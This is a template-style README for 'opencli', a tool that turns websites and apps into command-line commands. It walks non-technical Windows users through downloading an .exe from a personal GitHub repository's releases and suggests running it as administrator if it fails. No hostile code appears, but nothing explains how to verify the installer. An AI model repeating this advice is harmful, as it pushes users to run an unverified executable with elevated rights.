🔧 opencli - Control Websites and Tools via CLI

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opencli lets you turn websites, apps, or programs into simple command-line tools. Think of it as a bridge that helps your computer control many different things without using a browser or graphical interface. This makes it easier to run tasks or interact with tools from one place.

This guide shows you how to get opencli running on a Windows PC. No technical skills needed.

📋 What Opencli Does

• Turns websites into command-line programs.
• Works with Electron apps and local software.
• Combines many tools into one easy command system.
• Built to work well with AI assistants.
• Helps run tasks faster and without opening apps or browsers.

🖥️ System Requirements

Before you start, check your Windows PC has:

• Windows 10 or newer (64-bit recommended).
• At least 2 GB of free disk space.
• 4 GB or more of RAM.
• Internet connection (for setup and using websites).

🚀 Getting Started with opencli

1. Go to the download page:
   Use the big green button at the top or this link to visit the project on GitHub:
   https://github.com/sksabbiryt/opencli

2. Find the latest version:
   On the GitHub page, scroll to the "Releases" section on the right or look for the "Releases" tab near the top.

3. Download the Windows installer:
   Look for a file ending with .exe for Windows. Click it to start downloading.

4. Run the installer:
   Once downloaded, open the file. If Windows asks for permission, click "Yes" to allow installation.

5. Follow the setup prompts:
   The installer will guide you through basic steps. Mostly, click "Next" and then "Install."

6. Finish installation:
   When the setup completes, it may offer to launch opencli immediately. You can let it start or open it later from your start menu.

💾 How to Use opencli

After installation, open the "Command Prompt" application on Windows:

• Press the Windows key on your keyboard.
• Type cmd and hit Enter.

Once the Command Prompt window opens, type:

opencli help

This shows basic commands. You can run commands to control websites and tools just by typing.

Try this to list available tools you can use with opencli:

opencli list

🛠 Common opencli Commands

Command	What it does
opencli run <tool>	Runs a specific tool or website interface
opencli add <url>	Adds a new website or app to your tool list
opencli remove <tool>	Removes a tool from your list
opencli help	Shows help text and available commands

You can find more detailed instructions in the /docs folder on the GitHub page.

🔧 Configuration Tips

You can customize how opencli works:

• Add URLs for sites you often use.
• Set preferences for how commands show output.
• Connect to AI agents for smarter tool control.

Config files are stored in a folder named .opencli inside your Windows user folder (e.g., C:\Users\YourName\.opencli).

Use any text editor like Notepad to open and edit files there if needed.

❓ Troubleshooting

• opencli command not found:
  Make sure the installer finished and you restarted the Command Prompt or your computer.

• Error downloading or adding tools:
  Check your internet connection or firewall settings.

• Installer won’t run:
  Right-click the .exe file and choose "Run as administrator."

• Opencli doesn’t respond:
  Close Command Prompt and reopen. Restart your PC if needed.

👩‍💻 Updating opencli

To get the latest fixes and features:

1. Visit the GitHub page: https://github.com/sksabbiryt/opencli
2. Download the newest installer from the latest release.
3. Run the installer again. It will update your current version without removing your data.

📂 Where to Find More Info

The GitHub repository has a folder named docs with guides and example commands. Browse this if you want to learn more advanced usage.

You can also check the file named AGENT.md to see how opencli integrates with AI agents and other tools.

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